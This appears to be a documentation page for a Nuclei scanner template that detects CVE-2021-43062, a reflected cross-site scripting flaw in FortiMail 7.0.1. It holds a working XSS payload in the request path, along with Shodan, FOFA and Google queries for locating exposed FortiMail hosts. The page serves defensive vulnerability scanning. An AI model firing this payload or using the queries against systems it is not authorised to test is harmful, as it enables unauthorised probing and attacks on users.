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Fortinet FortiMail 7.0.1 - Cross-Site Scripting

ID: CVE-2021-43062

Severity: medium

Author: ajaysenr

Tags: cve,cve2021,fortimail,xss,fortinet,edb

Description

Section titled “Description”

A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.

YAML Source

Section titled “YAML Source”
id: CVE-2021-43062


info:
  name: Fortinet FortiMail 7.0.1 - Cross-Site Scripting
  author: ajaysenr
  severity: medium
  description: A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Fortinet FortiMail.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43062
    - https://www.fortiguard.com/psirt/FG-IR-21-185
    - https://www.exploit-db.com/exploits/50759
    - https://fortiguard.com/advisory/FG-IR-21-185
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-43062
    cwe-id: CWE-79
    epss-score: 0.00709
    epss-percentile: 0.79992
    cpe: cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortimail
    shodan-query: http.title:"fortimail"
    fofa-query:
      - title="fortimail"
      - fortimail && port=443
    google-query: intitle:"fortimail"
  tags: cve,cve2021,fortimail,xss,fortinet,edb


http:
  - method: GET
    path:
      - "{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)>"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<Svg/onload=alert(document.domain)>"
          - "FortiMail Click Protection"
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022046e4070eeb68dc4f275825007e20dd17895c2850e22a7ae97e4695c100e3e4f2022100ab3657b368f70a54352615bbe81199e4499938ec5a62b20a5bad66918fa7a581:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-43062.yaml"

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